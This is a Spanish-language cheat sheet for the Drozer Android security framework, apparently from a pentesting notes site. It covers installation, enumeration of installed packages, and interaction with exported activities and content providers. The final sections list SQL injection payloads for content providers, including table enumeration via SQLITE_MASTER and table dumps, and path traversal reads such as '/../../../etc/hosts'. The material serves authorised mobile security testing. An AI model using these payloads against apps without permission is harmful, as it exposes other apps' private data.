Drozer https://github.com/WithSecureLabs/drozer
Instalación de Drozer Client
Instalación de Drozer en entorno virtual de Python 2.
Copiar # Creación y activación de entorno virtual
mkdir drozer && cd drozer
which python2
virtualenv -p /usr/bin/python2 drozer-env
source drozer-env/bin/activate
# Instalación de Drozer utilizando Python wheel
pip install drozer-2.4.4-py2-none-any.whl
# Instalación de dependencias de Drozer (pre-requisitos)
pip install twisted
Instalación de Drozer Agent (APK)
Copiar adb install < drozer-agen t > .apk
Comandos generales
Iniciar consola de Drozer.
Copiar drozer console connect
drozer console connect --server < device-IP-addres s >
Obtener listado de aplicaciones instaladas.
Copiar run app.package.list
run app.package.list -f < filte r >
Obtener información general de una aplicación.
Copiar run app.package.info -a < app-package-nam e >
Leer archivo AndroidManifest.xml de una aplicación.
Copiar run app.package.manifest < app-package-nam e >
Superficie de ataque de una aplicación.
Copiar run app.package.attacksurface < app-package-nam e >
Activities
Obtener activities con exportación habilitada de una aplicación.
Copiar run app.activity.info -a < app-package-nam e >
Iniciar activity con exportación habilitada.
Copiar run app.activity.start --component < app-package-nam e > < app-package-nam e > . < activity-nam e >
Content providers
Obtener content providers de una aplicación.
Copiar run app.provider.info -a < app-package-nam e >
Obtener URIs de content providers de una aplicación.
Copiar run app.provider.finduri < app-package-nam e >
run scanner.provider.finduris -a < app-package-nam e >
Interacción general con content providers.
Copiar # Select
run app.provider.query < ur i >
run app.provider.query < ur i > --projection < column-nam e >
run app.provider.query < ur i > --selection < column-nam e > = < column-valu e >
run app.provider.query < ur i > --selection < column-nam e > = \' < column-valu e > \'
# Insert
run app.provider.insert < ur i > -- < column-type > < column-nam e > < column-valu e >
run app.provider.insert < ur i > --string < column-nam e > < column-valu e > --integer < column-nam e > < column-valu e >
# Delete
run app.provider.delete < ur i >
run app.provider.delete < ur i > --selection < column-nam e > = < column-valu e >
run app.provider.delete < ur i > --selection < column-nam e > = \' < column-valu e > \'
# Update
run app.provider.update < ur i > --selection < column-nam e > = < column-valu e > -- < column-type > < column-nam e > < column-valu e >
# Lectura de archivo
run app.provider.read < ur i > / < fil e >
# Descarga de archivo
run app.provider.download < ur i > / < fil e > .
SQL injection (SQLi)
Identificación de SQLi.
Copiar run scanner.provider.injection -a < app-package-nam e >
run app.provider.query < ur i > --projection "'"
run app.provider.query < ur i > --selection "'"
Enumeración de tablas.
Copiar run scanner.provider.sqltables -a < app-package-nam e >
run app.provider.query < ur i > --projection "* FROM SQLITE_MASTER WHERE type='table';--"
Obtención de datos de una tabla.
Copiar run app.provider.query < ur i > --projection "* FROM <table>;--"
Path traversal
Identificación de path traversal.
Copiar run scanner.provider.traversal -a < app-package-nam e >
Lectura de archivo.
Copiar run app.provider.read < ur i > / < fil e >
run app.provider.read < ur i > /../../../ < fil e >
run app.provider.read < ur i > /../../../etc/hosts
Última actualización hace 8 meses